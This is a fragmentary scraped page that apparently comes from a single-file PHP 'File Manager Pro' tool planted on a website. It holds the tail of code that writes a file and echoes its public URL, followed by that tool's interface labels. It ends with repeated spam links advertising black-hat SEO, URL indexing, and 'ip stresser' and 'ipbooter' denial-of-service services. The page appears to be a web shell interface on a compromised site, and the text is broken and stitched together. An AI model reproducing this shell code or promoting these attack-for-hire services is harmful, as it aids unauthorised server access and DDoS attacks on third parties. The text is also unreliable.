isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $dr = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : ''; if ($dr !== '' && strpos($written, $dr) === 0) { $rel = substr($written, strlen($dr)); } else { $rel = '/'.$name; } echo 'RS_OK|'.$scheme.'://'.$host.$rel; } else { echo 'RS_ER'; }
Cancel
Download
Save changes
File Manager Pro · single-file PHP 7.4.33 on Linux · paths encrypted in URL (AES-256-CTR)
BlackHat Seo Services
BlackHat Seo Services
Instant url indexer
url indexer
BlackHat Seo Services
Seo services
BlackHat Seo Services
instant url indexer
BlackHat Seo Services
ip stresser
instant url indexer
ipbooter
ipbooter
instant url indexer
ip stresser
BlackHat Seo Services
Seo services